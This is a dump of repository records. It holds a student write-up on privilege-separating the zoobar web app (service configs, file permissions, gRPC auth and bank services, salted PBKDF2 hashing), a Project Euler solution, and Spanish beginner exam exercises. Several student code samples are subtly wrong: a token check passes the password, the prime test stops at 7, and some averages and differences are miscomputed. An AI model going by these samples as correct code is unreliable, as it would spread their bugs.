/jail\n args = 61008 61008\n\n[dynamic_svc]\n cmd = zookfs\n url = .*(\\.cgi).*\n uid = 61012\n gid = 61012\n dir = /jail\n args = 61007 61007\n```\n\n```\nchroot-setup.sh\n\nset_perms 61007:61007 755 /jail/zoobar/index.cgi\n```\n\nChanged in made:\n1. Separating zookfs_svc to static_svc, dynamic_svc\n2. Ensure they have different uid, so we assigned static_svc to uid to 61011, dynamic_svc to 61009\n3. Register the http_svc to zook, with static_svc first, then dynamic_svc\n4. Set up url filters using regex\n 1. for static_svc, we need to filter for all static files, eg html, css, js, jpg, ico\n 2. for dynamic_svc, we need to filter for all dynamic files, hence, only .cgi.\n5. Using regex101.com, we confirm that our filter works\n\n![](https://i.imgur.com/43DgtjF.png)\n\n![](https://i.imgur.com/s9HX8xb.png)\n\n6. To ensure that .cgi runs with a separate permission from main svc process, in dynamic_svc, we set its uid and gid to 61008, and change the corresponding permission of index.cgi to be executable for 61008 only, to adhere to the security design that only 61008 is able to execute index.cgi, and not any user issued cgi.\n\n\n## Exercise 5\n\n\n### Flow of authentication mechanism (previously)\n**`auth.py`**\nThe stock code does the following:\n1. Whenever the user registers or login, a token is generated by `auth.py`. The token is generated with a simple md5 hash of the user's password and a `random` float. This will happen, like most functions, in a single DB session and pushed into the DB. Hence we can expect the token to change everytime this method is called\n2. In `login`, the method of authentication is to simply string compare the password with the plaintext password stored in the `person` DB. If match -> generate a token.\n3. In `register`, the user is made first, followed by the generation of the token.\n4. In `check_token`, the username and token is checked with the respective content of the DB. If mathes, return true\n\n**`login.py`**\n1. The cookie is stored as `username#token` under the cookie name of `PyZoobarLogin`. `checkCookie()` function will check the existence of this cookie, and `loginCookie` will create the cookie payload.\n2. When the user logs in, a `User` object is essentially instantiated, which tallies with the current user session. This is done by the method `setPerson`. Logout will clear this instantiation by setting `self.person = None`\n\n\n\n\n\n### The new `auth` Database\nIn this section, we will first separate out sensitive information from the `Person` database into the `Cred` database. `Cred` will be used purely for authentication henceforth.\n```\nclass Person(PersonBase):\n __tablename__ = \"person\"\n username = Column(String(128), primary_key=True)\n zoobars = Column(Integer, nullable=False, default=10)\n profile = Column(String(5000), nullable=False, default=\"\")\n\n\nclass Cred(CredBase):\n __tablename__ = \"cred\"\n username = Column(String(128), primary_key=True)\n password = Column(String(128))\n token = Column(String(128))\n```\n\nBecause of these changes, all calls for a token within `auth.py` will now be swapped from `Person.token` to `Cred.token`.\n\n\n### Changes to `auth.py`\n\nGiven the separation of `Cred` and `Person`, a refactor was also made accordingly. The `register` method, which had previously only interacted with the `Person` db will now have to interact with both databases. In this case, storing of the password hash will make a write operation to the `Cred` database, while storing of the newly created user profile will make a write operation to the `Person` database.\n\nDo refer to `auth.py` for full information.\n\n### Setting up GRPC auth client/server\nIn this new setup, `auth.py` will now provide privileged functions, accessible only via the grpc auth server. Below shows the simple methods of implementing, essentially calling form the `auth.py` module:\n```python\ndef rpc_login(self,username, password):\n return auth.login(username, password)\n\ndef rpc_register(self, username, password):\n return auth.register(username, password)\n\ndef rpc_check_token(self, username, token):\n return auth.check_token(username, password)\n```\n\n\nLastly, we will set up the GRPC caller (or client). In this case, we simply have to dial in to the socket with the corresponding GRPC method names for each of the methods described as such (in `auth_client.py`):\n\n```python=\ndef login(username, password):\n with rpclib.client_connect('/authsvc/sock') as c:\n return c.call('login', username=username, password=password)\n\ndef register(username, password):\n with rpclib.client_connect('/authsvc/sock') as c:\n return c.call('register', username=username, password=password)\n\ndef check_token(username, token):\n with rpclib.client_connect('/authsvc/sock') as c:\n return c.call('check_token', username=username, token=token)\n```\n\nFollowing the setup of the GRPC methods, we then proceed to swap out all `auth` module calls in `login.py` to the `auth_client.py` GRPC client methods.\n\n\n### Permissioning auth services\n\nFirst, we setup the GRPC server via `zook.conf` as follows:\n```\n[auth_svc]\n cmd = /zoobar/auth-server.py\n args = /authsvc/sock # Note that we give it the following socket\n dir = /jail\n uid = 61013\n gid = 61012\n```\n\nWe will also set up the necessary permissions in `chroot-setup.sh` as follows:\n```shell\n# For the authsvc server socket\ncreate_socket_dir /jail/authsvc 61013:61012 755\n....\npython /jail/zoobar/zoodb.py init-cred\n\n....\n# For part 5 -- Auth service\nset_perms 61013:61012 700 /jail/zoobar/db/cred\nset_perms 61013:61012 600 /jail/zoobar/db/cred/cred.db\nset_perms 61013:61012 700 /jail/zoobar/auth-server.py\n\nset_perms 61012:61012 770 /jail/zoobar/db/person\nset_perms 61012:61012 660 /jail/zoobar/db/person/person.db\n```\n\n#### Rationale behind Permissions\n\nAs previously mentioned, we note that `auth.py` utilises 2 different databases - the `Cred` and `Person` database for the `register` endpoint. Hence, minimally,\n- `auth` service has to have read and write access to both `cred.db` and `person.db`. In this spirit, it was essential to provide a common group, `61012` between the dynamic service and the auth service, such that `auth` service will have secure access to interact with the databases. We also instituted `r+w(6)` permission, as there is no need for the services to have executable rights to the database\n- `auth-server.py` was also provided with a strict `700` policy, where only the rightful uid should be able to run as the server. We saw that there is no need for other services to be able to run the server, since it would have nullified our efforts at privilege separation\n- The `/jail/authsvc` socket however has been given a `755` permission to allow interaction with the grpc server.\n\n\n## Exercise 6\n\nIn this exercise, we will utilise a more secure method of authentication via password hashing and salting.\n\n### Changes to table schema\n```python\nclass Cred(CredBase):\n __tablename__ = \"cred\"\n username = Column(String(128), primary_key=True)\n password = Column(String(128)) # EX6: Swapped to hold hash, under same col\n token = Column(String(128))\n salt = Column(String(128)) # Added for EX6\n```\n### Encoding\nWe note that PBKDF2 only accepts either a string or unicode type for salt. Given that `os.urandom()` returns a [byte array](https://www.kite.com/python/docs/posix.urandom), we hence used `base64` to encode it into a string (`binary -> ascii`) that can then be stored in the database and simultaneously used for the `PBKDF2` function.\n\nThe below function shows how salt is being initialised into the PBKDF function as described above.\n\n```python\ndef _setup(self, passphrase, salt, iterations, prf):\n # Sanity checks:\n # passphrase and salt must be str or unicode (in the latter\n # case, we convert to UTF-8)\n...\n if isunicode(salt):\n salt = salt.encode(\"UTF-8\")\n elif not isbytes(salt):\n raise TypeError(\"salt must be str or unicode\")\n```\n\n### Changing `auth.py` for salting features\n\nIn this section, we would have to modify the following functions:\n1. `register` -> register now has to take in the user's password and attempt to salt + hash the password with a randomly generated salt via PBKDF2. The salt, passwordHash into the database. Below are the modifications made:\n\n```python=\ndef register(username, password):\n salt = os.urandom(8).encode('base-64')\n password_hash = pbkdf2.PBKDF2(password, salt).hexread(32)\n newcred = Cred()\n newcred.password = password_hash\n newcred.username = username\n newcred.salt = salt\n ...\n # proceed to commit accordingly\n\n```\n2. `login` -> login has to now take in the user's password, and attempt to salt + hash the password given with the salt in the `cred` database for that user. If this result tallies with the passwordHash entry in the database, user credentials are legitimate. This is done using PBKFD2 as below:\n\n\n```python=\ndef login(username, password):\n db = cred_setup()\n cred = db.query(Cred).get(username)\n \n if not cred:\n return None\n # Modified for Task 6\n if cred.password == pbkdf2.PBKDF2(password, cred.salt).hexread(32):\n return newtoken(db, cred)\n else:\n return None\n```\n\n## Exercise 7\n\nThis exercise aims to separate the bank functions by privilege separating it into a new process, with rpc capabilities. As a reminder, bank functions are called primarily from:\n1. `user.py`\n2. `transfer.py`\n3. `login.py`\n\n### The new `bank.db`\n```python=\nclass Bank(BankBase):\n __tablename__ = \"bank\"\n username = Column(String(128), primary_key=True)\n zoobars = Column(Integer, nullable=False, default=10)\n```\n\nWe will also be removing the `zoobars` key from the `Person` database, hence making it only accessible by this new `Bank` database\n\nWith this changes in place, we will also replace all calls to `Person` from `bank.py` to match this new implementation. The following code shows the changes being made, where `Bank` database is now being used instead for the `transfer()` method:\n\n```python\ndef transfer(sender, recipient, zoobars):\n # Exercise 7 - Swapped to bankDB\n bankdb = bank_setup()\n senderp = bankdb.query(Bank).get(sender)\n recipientp = bankdb.query(Bank).get(recipient)\n\n sender_balance = senderp.zoobars - zoobars\n recipient_balance = recipientp.zoobars + zoobars\n\n if sender_balance < 0 or recipient_balance < 0:\n raise ValueError()\n...\n\ndef balance(username):\n db = bank_setup()\n # person balance queried from bank instead\n person = db.query(Bank).get(username)\n return person.zoobars\n\n\n```\n\nDo refer to `bank.py` for full information.\n\n### Setting up GRPC auth client/server\nSimilar to the setup in `auth` service, we created client and server functions for interactions with `bank` service. Due to the repetitive nature of this part, please refer to `bank_client.py` and `bank-server` for more information.\n\n\n#### Hurdle 1: Parsing datatypes\n\nOne of the problems with incorporating RPC in this part was an error we encountered when trying to make the `get_log` function into an rpc method.This is so as SQLAlechmy returns a Query object that is intrinsically incompatible with the rpc library utilised.\n\n![](https://i.imgur.com/IPzIY5D.png)\n\n```\nTypeError: <sqlalchemy.orm.query.Query object at 0x7fccd47d5490> is not JSON serializable\n```\n\nThus, we had to implement a serialise function, such that it can be parsed as a string, with accordance to the handout description. Credits to [this]( https://stackoverflow.com/questions/49172153/object-is-not-json-serializable\n) and [this](https://stackoverflow.com/questions/5022066/how-to-serialize-sqlalchemy-result-to-json) stackoverflow answers:\n```python\ndef serialise_msg(sql_obj):\n return {c.name: getattr(sql_obj, c.name) for c in sql_obj.__mapper__.columns}\n \n ...\n \ndef rpc_get_log(self, username):\nres = bank.get_log(username)\nreturn [serialise_msg(z) for z in res]\n\n```\n\n\n### Handling of account creation\n>Don't forget to handle the case of account creation, when the new user needs to get an initial 10 zoobars. This may require you to change the interface of the bank service.\n\nOne of the challenges in this section is the initialisation of zoobars. Previously, zoobars were initialised within the `auth.py` package, given that the `Person` database is accessible by the service.\n\nGiven now that we want to segment out and **privilege separate** the bank database, we hence need to to create a function within the bank interface to handle the initilisation of 10 zoobars for each newly created account. The following is a simple function implemented:\n\n\n```python\ndef initalise_zoobars(username):\n db = bank_setup()\n person = db.query(Bank).get(username)\n # Confirm person exists\n if person:\n return None\n newbankentry = Bank()\n newbankentry.username = username\n # no need to initialise zoobars, SQL handle by default\n db.add(newbankentry)\n db.commit()\n```\n\nFollowing the creation of the service, we then proceed to call this function, via rpc, from the main process executing in `login.py` under the `addRegistration` function as follows:\n\n```python\n def addRegistration(self, username, password):\n\n token = auth_client.register(username, password)\n if token is not None:\n #Exercise 7 - Lastly proceed to make a call to initialise zoobars\n bank_client.initalise_zoobars(username)\n return self.loginCookie(username, token)\n else:\n return None\n\n```\n### Managing Bank Permissions\n```shell\n# zook.conf\n[bank_svc]\n cmd = /zoobar/bank-server.py\n args = /banksvc/sock\n dir = /jail\n uid = 61014\n gid = 61014\n\n```\n\n```shell\n# chroot-setup.sh\ncreate_socket_dir /jail/banksvc 61014:61012 755\n...\nset_perms 61014:61014 700 /jail/zoobar/db/bank\nset_perms 61014:61014 600 /jail/zoobar/db/bank/bank.db\nset_perms 61014:61014 700 /jail/zoobar/db/transfer\nset_perms 61014:61014 600 /jail/zoobar/db/transfer/transfer.db\n\n```\n\n\n#### Rationale behind Permissions\nFrom the above, we see that the bank service operates as a silo on its own, with no shared GIDs (having both uid and gid of `61014`, not shared with anyone). This is so as we saw that the bank service did not require any additional permissions to other files owned by other services, thus conforming easily to the principle of least privilege.\n\nIn the `bank.py` file, we note that bank traditionally only has access to the `bank.db` and `transfer.db` only. This makes it fairly easy to manage permissions as below:\n- Only bank service (`61014`) should have any access to the `bank.db` and `transfer.db`. As this is not a shared database, we can restrict it to have permissions of `600`, only read and writable by the bank service. We do have to provide permissions of `700` for the directory of the databases, similar to exercise 5.\n- `bank-server.py` was also provided with a strict `700` policy, where only the rightful bank service uid should be able to run the server.\n- The `/jail/banksvc` socket however has been given a `755` permission to allow interaction with the grpc server.\n\n\n\n## Exercise 8\n\nFor this step, we will simply swap out all the code to now use `token`. The main swap will be at `transfer.py`, which now calls the transfer rpc call with `g.user.token`\n\n### Testing the feature\nWe then add the authentication procedure as such, essentially having the bank making a rpc call to the auth service to verify the validity of the token. If valid, we call transfer as per normal:\n```python=\ndef rpc_transfer(self,sender, recipient, zoobars, token):\n # Exercise 8 - Authenticate the request via token\n if not auth_client.check_token(sender, token):\n log(\"Transfer authentication failed\")\n raise ValueError('Token is invalid')\n\n return bank.transfer(sender, recipient, zoobars)\n```\n\nIn order to test the authentication check, we created a scenario as such:\n![](https://i.imgur.com/0ch07Bt.png)\n- Instead of sending the token,we now send a string \"fake-token\" that should trigger an exception\n\n\n### Testing the feature on browser\n#### With valid token\n![](https://i.imgur.com/hzUqzsu.png)\n\n![](https://i.imgur.com/oBuKrdd.png)\n\n\n#### With invalid token\n![](https://i.imgur.com/5NPeTVf.png)\n\nWe note that with a modified token, the request failed and redirects us back to the login page. The transfer is also noted to not have occured, as balance remains at 9 Zoobars.\n![](https://i.imgur.com/hbceQZj.png)\n\n![](https://i.imgur.com/gztyb2s.png)\n![](https://i.imgur.com/GdzwEIx.png)\n\n## Exercise 9\nTo support profiles, we added\n1. Profile service to zook.conf:\n\n```\n[profile_svc]\n cmd = /zoobar/profile-server.py\n args = /profilesvc/sock\n uid = 0\n gid = 61012\n dir = /jail\n```\n- Note the uid is set to 0 as it has to run as root to spawn and set uid for its child processes\n\n\n2. Create necessary sock with the right permission\n\n```\ncreate_socket_dir /jail/profilesvc 61006:61006 755\n```\n\n3. Set profile-server.py with the right permission\n\n```\nset_perms 61006:61006 700 /jail/zoobar/profile-server.py\n```\n- this allows sandboxlib to run profile-server.py as a sandboxed process, with uid `61006` updated in `ProfileServer.rpc_run()`, with the correct permission to access the socket and the python source code.\n- 700 is used as only uid `61006` needs access to the python script, following the principle of least privileges.\n\n## Exercise 10\n```python\nuser_uuid = uuid.uuid3(uuid.NAMESPACE_OID, user.__str__()).__str__()\nuser_path = os.path.join(userdir, user_uuid)\nif not os.path.exists(user_path):\n os.mkdir(user_path)\n os.chmod(user_path, stat.S_IRWXU ^ stat.S_IRWXG)\n```\nThe code above is used to generate uuid for each user, based on their username string. This handles any special characters there may be in their username.\nAn example folder would be `813a9bfb-1689-3a5e-923b-1a8fc97e92f1`.\n\nAfter creating the directory for each user, permission is set. `stat.S_IRWXU`, `stat.S_IRWXG` stand for user read, write, execute and group read, write, execute respectively. This prevents one user from accessing and tempering the file of another user.\n\n## Exercise 11\nTo ensure ProfileAPIServer does not execute with root privileges, we set the uid to `61014`, and gid to `61012`, corresponding to bank services to ensure that the profile server is able to make transactions, while not having any unneeded privileges. gid has to be set before uid as it is not possible to change gid when uid is not `0`.\n```python\nos.setgid(61012)\nos.setuid(61014)\n```\n\n## `sudo make check`\n![](https://i.imgur.com/EQsg5Kb.png)\n" } ]
48
ChrisEngstrom/Py-PE-3
https://github.com/ChrisEngstrom/Py-PE-3
ef1d4cfb52fd8989956eafde40ef08572e24b3c3
eef6939b6f6f9fc31bc8dd7b764be54602adefcf
214e2d601a1e56411cd24af5a09e69c74ed0ab57
refs/heads/main
2023-01-02T21:04:49.918666
2020-10-26T04:54:56
2020-10-26T04:54:56
307,252,527
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5668016076087952, "alphanum_fraction": 0.593792200088501, "avg_line_length": 22.15625, "blob_id": "e83d552aa35030c6c9f18e5ad6f21373f2063551", "content_id": "81aa8790882685264cd3f3b4eafb6c1790a30c5f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 741, "license_type": "permissive", "max_line_length": 99, "num_lines": 32, "path": "/main.py", "repo_name": "ChrisEngstrom/Py-PE-3", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nnumber = 600851475143\n\ndef GetHighestPrimeFactor(number):\n for possiblePrime in reversed(range(2, int_sqrt(number))):\n divisor = number / possiblePrime\n\n if (divisor.is_integer() and \n IsPrime(possiblePrime)):\n return possiblePrime\n\ndef int_sqrt(n):\n x = n\n y = (x + 1) // 2\n\n while y < x:\n x = y\n y = (x + n // x) // 2\n\n return x\n\ndef IsPrime(possiblePrimeNumber):\n if (possiblePrimeNumber <= 1):\n return False\n\n for i in range(2, possiblePrimeNumber):\n if (possiblePrimeNumber % i == 0):\n return False\n\n return True\n\nprint (\"The largest prime factor for \" + str(number) + \" is \" + str(GetHighestPrimeFactor(number)))\n" }, { "alpha_fraction": 0.6077347993850708, "alphanum_fraction": 0.7458563446998596, "avg_line_length": 24.85714340209961, "blob_id": "e51b8898b53ddbce46fa1fcab1c01caf69f4a2eb", "content_id": "576182aef148782681327eea654fabd545d9494c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 181, "license_type": "permissive", "max_line_length": 61, "num_lines": 7, "path": "/README.md", "repo_name": "ChrisEngstrom/Py-PE-3", "src_encoding": "UTF-8", "text": "# Py-PE-3\nProject Euler problem 3 in Python.\n\n## Largest prime factor\nThe prime factors of 13195 are 5, 7, 13 and 29.\n\nWhat is the largest prime factor of the number 600851475143 ?\n" } ]
2
Japo19/Examen
https://github.com/Japo19/Examen
19e38eef00b3db9112d87d85381e70faf98f7601
292cec283de589c55736e77db94a910b34fb62fe
ab79100adf66a6a34a6b54799af69b5394d995fb
refs/heads/master
2020-07-30T23:25:54.571176
2019-10-06T21:02:48
2019-10-06T21:02:48
210,397,103
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4871794879436493, "alphanum_fraction": 0.5680473446846008, "avg_line_length": 29.875, "blob_id": "a6e17e6951817e848e54d88ec38e964349af7cf3", "content_id": "76b4085f55182a3a6404760866965b33ddb3b8e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 510, "license_type": "no_license", "max_line_length": 78, "num_lines": 16, "path": "/Examenes dada/Fn - 6.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen Fn - 6.py\nEscribir una función que sume las diferencias entre números consecutivos en un\narreglo. Los números en el arreglo se encuentran ordenados descendentemente.\nsumDif([10, 2, 1]) // (10 - 2) + (2 - 1) = 9\nsumDif([11, 10, 5]) // (11 - 10) + (10 - 5) = 6\nsumDif([4, 3, 2, 1]) // (4 - 3) + (3 - 2) + (2 - 1)= 3\n'''\n\ndef sumDif(arr):\n for i in range (0,len(arr)):\n diferencia = arr[0]\n diferencia = diferencia - arr[i]\n print (diferencia)\n\nsumDif([4, 3, 2, 1])\n\n \n\n\n\n" }, { "alpha_fraction": 0.4536082446575165, "alphanum_fraction": 0.5120275020599365, "avg_line_length": 31.33333396911621, "blob_id": "88fde3ca22d7ad5849517471368dee6afac4719d", "content_id": "ee819bb5783c702f20e0f52d579d80934bb54bd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 291, "license_type": "no_license", "max_line_length": 126, "num_lines": 9, "path": "/Examen1.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "arr = []\nfor i in range (2, 101):\n arr.append(i)\nprint(arr) \nfor i in range(0, len(arr)):\n if(arr[i]%2!=0 or arr[i]==2) and (arr[i]%3!=0 or arr[i]==3) and (arr[i]%5!=0 or arr[i]==5) and (arr[i]%7!=0 or arr[i]==7):\n print(i, \"es primo\")\n else:\n print(i, \"no es primo\")\n" }, { "alpha_fraction": 0.42889389395713806, "alphanum_fraction": 0.53724604845047, "avg_line_length": 22.36842155456543, "blob_id": "9b0a24932ea1eff590a7a227d4cda0dc216392cb", "content_id": "dff7c48217902a1926c053d372b9f801bdc56eae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 448, "license_type": "no_license", "max_line_length": 53, "num_lines": 19, "path": "/Examenes dada/A - 1.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen A-1.py\nen una lista de números enteros, encuentre las faltas\n[2, 1, 9, 3, 8, 7, 4, 6, 0] -> 5\n[1, 2, 3, 4, 5, 6, 7, 8, 9] -> 0\n[2, 1, 9, 3, 8, 7, 4, 6, 0, 5] -> “No falta ninguno”\n'''\ntotal = 45\narr = [2, 1, 9, 3, 8, 7, 4, 6, 0]\naux = 0\nnumfalt = 0\n\nfor i in range(0, len(arr)):\n aux += arr [i]\nnumfalt = total - aux \nif numfalt==0 and len(arr) >= 10:\n print(\"No falta ninguno\")\nelse:\n print(\"Falta el numero \",numfalt)" }, { "alpha_fraction": 0.4215686321258545, "alphanum_fraction": 0.529411792755127, "avg_line_length": 15.954545021057129, "blob_id": "b3803cc8b1c8363fa99a92c8fc96861d70dcc853", "content_id": "071dba3b63168e8bf44d85ccbcd723dc3b85941b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 417, "license_type": "no_license", "max_line_length": 83, "num_lines": 22, "path": "/Examenes dada/L - 1.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen L -1.py\nUtilizando ciclos (loops), “dibujar” el siguiente triángulo de 10 renglones de alto\núnicamente con números nones.:\n1 - 1\n2 - 13\n3 - 135\n4 - 1357\n…\n10 - 135791113151719\n'''\narr = []\n\nfor i in range(0, 20):\n if i %2 != 0:\n arr.append(i)\nfor j in range (0,10):\n print(\"\")\n for k in range(0,j+1):\n print(f\"{arr[k]}\",end=\"\")\n\nprint(\"\")\n \n\n \n \n\n\n\n " }, { "alpha_fraction": 0.4648760259151459, "alphanum_fraction": 0.5227272510528564, "avg_line_length": 31.33333396911621, "blob_id": "6545e75be5afd11dd3105c6580cd57e371fa1480", "content_id": "95f2a3d0dfd084e2e368739d418e73cf0a7b6fcf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "no_license", "max_line_length": 145, "num_lines": 15, "path": "/Examenes dada/AL - 1.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen AL - 1.py\nDentro del rango [2, 100] de números naturales, indicar cuáles son primos y cuáles no.\nPrimos: 2, 3, 5, …\nNo primos: 4, 6, 8, …\n'''\narr = []\nfor i in range( 2 , 101):\n arr.append (i)\nprint(arr) \nfor i in range(0, len(arr)):\n if (arr[i]%2 !=0 or arr[i]==2 ) and (arr[i]%3 !=0 or arr[i] == 3 ) and (arr[i]%5 !=0 or arr[i] == 5 ) and (arr[i]%7 !=0 or arr[i] == 7 ):\n print(arr[i], \" es primo \" )\n else:\n print (arr[i], \" no es primo \" )" }, { "alpha_fraction": 0.5183823704719543, "alphanum_fraction": 0.5863970518112183, "avg_line_length": 28.66666603088379, "blob_id": "6623a9b996672af8b54e7b5d8a4e20b5c803abc8", "content_id": "45da2188834919e5af71501dea41b8c000722084", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 554, "license_type": "no_license", "max_line_length": 85, "num_lines": 18, "path": "/Examenes dada/A - 3.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen A - 3.py\nDado un arreglo de números enteros, indicar el conteo de números positivos y la\nsuma de los números negativos. El número 0 (cero) no cuenta.\n[1, 2, 3, 4, 5, 6, -11, -12, -13, -14, -15] -> “6 positivos, -65 la suma de negativos\n[9, -8, 2, 1, -2] -> “3 positivos, -10 la suma de negativos”\n'''\n\nlistpos = []\nsuma = 0\narr = [9, -8, 2, 1, -2]\nfor i in range(0, len(arr)):\n if arr[i]>0:\n listpos.append(arr[i])\n else:\n suma += arr[i]\n\nprint(len(listpos), \"positivos,\", suma, \"la suma de negativos\") " }, { "alpha_fraction": 0.44285714626312256, "alphanum_fraction": 0.4714285731315613, "avg_line_length": 15.833333015441895, "blob_id": "f735f4dd2991615e01ea17eb4a34bc6c2f79c639", "content_id": "10dc349d384983b63c929cd1c4c433aea3dc7aa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 215, "license_type": "no_license", "max_line_length": 60, "num_lines": 12, "path": "/Examenes dada/L - 2.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen L-2.py\nUtilizando ciclos (loops), “dibujar” el siguiente triángulo:\n *\n ***\n *****\n *******\n*********\n'''\naltura = 5\nfor i in range(0,altura):\n print(' '*(altura-i-1), '*'*(2*i+1))\n " }, { "alpha_fraction": 0.496221661567688, "alphanum_fraction": 0.5440806150436401, "avg_line_length": 30.200000762939453, "blob_id": "fe304ae5eaef760fee44ad30956ffb7fef7efbf6", "content_id": "d52e454033818830b347e0587f3634561701c3a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 805, "license_type": "no_license", "max_line_length": 82, "num_lines": 25, "path": "/Examenes dada/Fn - 5.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen Fn - 5.py\nUn número será “líder” si es mayor al promedio del resto en una lista. Crear una\nfunción que dado un arreglo de al menos 3 números enteros (mayores o iguales a 0),\nregrese el número líder.\nlider([3, 2, 10, 1]) // 10 (promedio del resto: (3+2+1)/3)\nlider([5, 0, 1, 2]) // 5\nlider([1, 1, 4, 1]) // 4\n'''\ndef lider(lista):\n promedio = 0\n for i in range(1,len(lista)):\n for j in range(0,len(lista)-i):\n if(lista[j] < lista[j+1]):\n k = lista[j+1]\n lista[j+1] = lista[j]\n lista[j] = k\n capi = lista[0] \n for l in range(1, len(lista)):\n promedio += lista[l]\n promedio = promedio / (len(lista)-1)\n print(\"Lider: \",capi, \"promedio del resto: \", promedio)\n \n\nlider([3, 2, 10, 1]) " }, { "alpha_fraction": 0.3911248743534088, "alphanum_fraction": 0.5087719559669495, "avg_line_length": 24.526315689086914, "blob_id": "4e69b0c596a0c2847fdcd6885ed0b732fedcf35b", "content_id": "da4341b2b9a52b1bec558db6f392e1a97211979a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 970, "license_type": "no_license", "max_line_length": 105, "num_lines": 38, "path": "/Examenes dada/A - 4.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen A - 4.py\nEn una lista de calificaciones, determinar el porcentaje de alumnos que aprobaron el\ncurso. Se considera una calificación aprobatoria si es igual o mayor a 6.\n[\n[9, 8, 7, 5, 2, 10],\n[5, 5, 5, 5, 5, 5],\n[0, 1, 2],\n[4, 2, 4, 5, 7, 8],\n[1, 1, 1, 1]\n] // 20 %\n'''\n\ndef Prom(lista):\n suma = 0\n for i in range(len(lista)):\n suma += lista[i]\n return suma/6\ndef Promedios(prom1,prom2,prom3,prom4,prom5):\n conta = 0\n if prom1 >= 6: \n conta += 1\n if prom2 >= 6:\n conta += 1\n if prom3 >= 6:\n conta += 1\n if prom4 >= 6:\n conta += 1\n if prom5 >= 6:\n conta += 1\n return (conta/5)*100\n\ndef main():\n lista = [[9, 8, 7, 5, 2, 10],[5, 5, 5, 5, 5, 5],[0, 1, 2],[4, 2, 4, 5, 7, 8],[1, 1, 1, 1]]\n #lista = [[6],[10, 10, 5, 10, 10, 10],[9, 8, 9, 8, 7, 6],[10],[6, 7, 8, 9, 9, 6]]\n print(str(Promedios(Prom(lista[0]),Prom(lista[1]),Prom(lista[2]),Prom(lista[3]),Prom(lista[4])))+\"%\")\n\nmain()" }, { "alpha_fraction": 0.41868510842323303, "alphanum_fraction": 0.5449826717376709, "avg_line_length": 26.095237731933594, "blob_id": "17a022bd18b50f8246eb1f9d528e929d130ec26e", "content_id": "3f185bbf883e77e7926ff928f370fc194e27d65c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 579, "license_type": "no_license", "max_line_length": 74, "num_lines": 21, "path": "/Examenes dada/Fn - 4.PY", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen Fn - 4.py\nProgramar una función que sume los promedios de los arreglos en una lista.\npromedio([[1, 2, 2,2, 2, 1], [2, 1]]) // 3.25\npromedio([[10, 5], [6, 2, 2], [1]]) // 11.8\npromedio([[3, 4, 1, 3, 5, 1, 4], [21, 54, 33, 21, 77]]) // 44.2\n\n'''\ndef promedio(lista1,lista2,lista3):\n suma1=0\n suma2=0\n suma3=0\n for i in lista1:\n suma1 = suma1 + i\n for i in lista2:\n suma2 = suma2 + i\n for i in lista3:\n suma3 = suma3 + i\n print(suma1/len(lista1)+suma2/len(lista2)+suma3/len(lista3)) \n\npromedio([10, 5], [6, 2, 2], [1])\n \n" }, { "alpha_fraction": 0.4516666531562805, "alphanum_fraction": 0.5016666650772095, "avg_line_length": 27, "blob_id": "8f2729caa73cdf2ae498efed746789eabc966cd7", "content_id": "25e0d2849495c286411a0c9c7a803d9cbed3a108", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 601, "license_type": "no_license", "max_line_length": 80, "num_lines": 21, "path": "/Examenes dada/Fn - 3.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen Fn - 3.py\nCrear una función que remueva los elementos repetidos en un arreglo y regrese un\nnuevo arreglo con los elementos restantes.\nunicos([9, 3, 1, 3, 9, 2]) // [1, 2]\nunicos([6, 2, 2, 2, 1, 8]) // [6, 1, 8]\nunicos([1]) // [1]\n'''\ndef unicos(lista):\n newlist = []\n for i in range (len(lista)):\n bandera=0\n for j in range (0,len(lista)):\n if( lista[i]==lista[j]):\n bandera=bandera+1 \n if(bandera==1): \n newlist.append(lista[i])\n print(newlist) \n \n\nunicos([6, 2, 2, 2, 1, 8])\n \n \n\n\n" }, { "alpha_fraction": 0.5174311995506287, "alphanum_fraction": 0.594495415687561, "avg_line_length": 29.33333396911621, "blob_id": "420a8cc359177c3d6ce0fb1091b9c11c123fee4f", "content_id": "1a21c7434f73535184c046ca6337af0a4a23376f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 548, "license_type": "no_license", "max_line_length": 76, "num_lines": 18, "path": "/Examenes dada/A - 5.py", "repo_name": "Japo19/Examen", "src_encoding": "UTF-8", "text": "'''\nExamen A - 5.py\nCrear un programa que indique qué números de una lista son divisibles por un\nnúmero dado. El orden en el resultado no importa.\ndivisiblePor([1, 2, 3, 4, 5, 